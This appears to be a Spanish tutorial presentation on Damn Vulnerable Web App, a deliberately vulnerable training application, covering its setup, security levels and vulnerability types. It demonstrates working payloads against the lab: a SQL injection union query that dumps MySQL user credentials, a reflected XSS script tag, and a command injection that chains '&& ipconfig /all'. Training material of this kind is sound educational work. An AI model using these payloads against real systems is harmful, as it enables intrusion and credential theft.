



# Damn Vulnerable Web App

Conocer y explotar vulnerabilidades web.



# ¿Qué es la DVWA? ¿Para qué sirve?

- Aplicación web vulnerable programada en PHP/MYSQL.
- Programación vulnerable para realizar pruebas de seguridad en un entorno legal.
- Entorno de entrenamiento en explotación de seguridad web.
- Distintos niveles de seguridad.

# Log in



Username

admin

Password

\*\*\*\*\*

Login

# Set Up



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

## Database Setup

Click on the 'Create / Reset Database' button below to create or reset your database.

If you get an error make sure you have the correct user credentials in:

`/opt/lampp/htdocs/dvwa/config/config.inc.php`

If the database already exists, it will be cleared and the data will be reset.

You can also use this to reset the administrator credentials ("admin // password") at any stage.

## Setup Check

Operating system: `*nix`

Backend database: **MySQL**

PHP version: `7.3.12`

Web Server SERVER\_NAME: `localhost`

PHP function `display_errors`: **Enabled** (Easy Mode!)

PHP function `safe_mode`: **Disabled**

PHP function `allow_url_include`: **Disabled**

PHP function `allow_url_fopen`: **Enabled**

PHP function `magic_quotes_gpc`: **Disabled**

PHP module `gd`: **Installed**

PHP module `mysql`: **Installed**

PHP module `pdo_mysql`: **Installed**

MySQL username: **root**

MySQL password: **\*blank\***

MySQL database: **dvwa**

MySQL host: **127.0.0.1**

reCAPTCHA key: `6Lf6e8cUAAAAABFOQuIES32eae5GNP8Qs5VHH9-2`

[User: bitnam] Writable folder `/opt/lampp/htdocs/dvwa/hackable/uploads/`: **No**

[User: bitnam] Writable file `/opt/lampp/htdocs/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt`: **No**



# Niveles de seguridad

Cada vulnerabilidad tiene cuatro niveles de seguridad diferentes, bajo, medio, alto e imposible. Los niveles de seguridad suponen un desafío para el “atacante” y también muestra cómo cada vulnerabilidad puede medirse mediante una programación segura.

- Bajo: este nivel de seguridad está destinado a simular un sitio web sin ningún tipo de seguridad implementada en su programación.
- Medio: el propósito de este nivel de seguridad es dar al ‘atacante’ un desafío en la explotación y también servir como un ejemplo de malas prácticas de programación/seguridad.
- Alto: Este nivel de vulnerabilidad brinda al usuario un ejemplo de cómo proteger la vulnerabilidad a través de métodos de programación seguros. Permite al usuario comprender cómo se puede medir la vulnerabilidad.
- Imposible: Este nivel da dificultades que enfrentamos en el mundo real.



# Vulnerabilidades

- Fuerza bruta.
- Inyección de comando.
- CSRF.
- Carga de archivos.
- Captcha inseguro.
- Inyección SQL / Blind.
- ID de sesión débil.
- XSS (DOM/Reflected/Stored).

# Inyección SQL

Usuarios del servicio:

```
>> ' union all select user,password from mysql.user #
```



## Vulnerability: SQL Injection

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

User ID:

```
ID: ' union all select user,password from mysql.user #  
First name: root  
Surname:
```

```
ID: ' union all select user,password from mysql.user #  
First name: root  
Surname:
```

```
ID: ' union all select user,password from mysql.user #  
First name: root  
Surname:
```

```
ID: ' union all select user,password from mysql.user #  
First name:  
Surname:
```

```
ID: ' union all select user,password from mysql.user #  
First name: pma  
Surname:
```

# XSS Reflected

>> <script>alert("xss")</script>

be Twitter Instagram 1

localhost:8080 dice

XSS

Aceptar

## Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?  Submit

Hello

### More Information

- [https://www.owasp.org/index.php/Cross-site\\_Scripting\\_\(XSS\)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
- [https://www.owasp.org/index.php/XSS\\_Filter\\_Evasion\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
- [https://en.wikipedia.org/wiki/Cross-site\\_scripting](https://en.wikipedia.org/wiki/Cross-site_scripting)
- <http://www.cgisecurity.com/xss-faq.html>
- <http://www.scriptalert1.com/>

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)



# Inyección de comando

Obtener la configuración de la red:

>> Número de IP && ipconfig /all

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security

PHP Info

About

Logout

## Vulnerability: Command Injection

### Ping a device

Enter an IP address:

Haciendo ping a 192.168.0.165 con 32 bytes de datos:  
Respuesta desde 192.168.0.165: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.165: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.165: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.165: bytes=32 tiempo<1m TTL=128

Estadísticas de ping para 192.168.0.165:  
Paquetes: enviados = 4, recibidos = 4, perdidos = 0  
(0% perdidos),  
Tiempos aproximados de ida y vuelta en milisegundos:  
Mínimo = 0ms, Máximo = 0ms, Media = 0ms

Configuración IP de Windows

Nombre de host. . . . . : MVI-PC  
Sufijo DNS principal . . . . . :  
Tipo de nodo. . . . . : híbrido  
Enrutamiento IP habilitado. . . : no  
Proxy WINS habilitado . . . . . : no  
Lista de búsqueda de sufijos DNS: Home

Adaptador de Ethernet Conexión de área local:

Sufijo DNS específico para la conexión. . : Home  
Descripción . . . . . : Conexión de red Intel(R) PRO/1000 MT  
Dirección física. . . . . : 00-0C-29-86-10-04  
DHCP habilitado . . . . . : sí  
Configuración automática habilitada . . . : sí  
Vínculo: dirección IPv6 local. . . : fe80::980a:f736:4fb0:4436%11(Preferido)  
Dirección IPv4. . . . . : 192.168.0.165(Preferido)  
Máscara de subred . . . . . : 255.255.255.0



# ¿Cuáles son los beneficios de usar DVWA?

- Ayuda a comprender mejor los procesos de seguridad en el desarrollo de aplicaciones web.
- Sencillo de instalar.
- Entorno legal.
- Permite determinar su dificultad y así mejorar habilidades.
- Apps similares: bWAPP, Mutillidae, Metasploitable.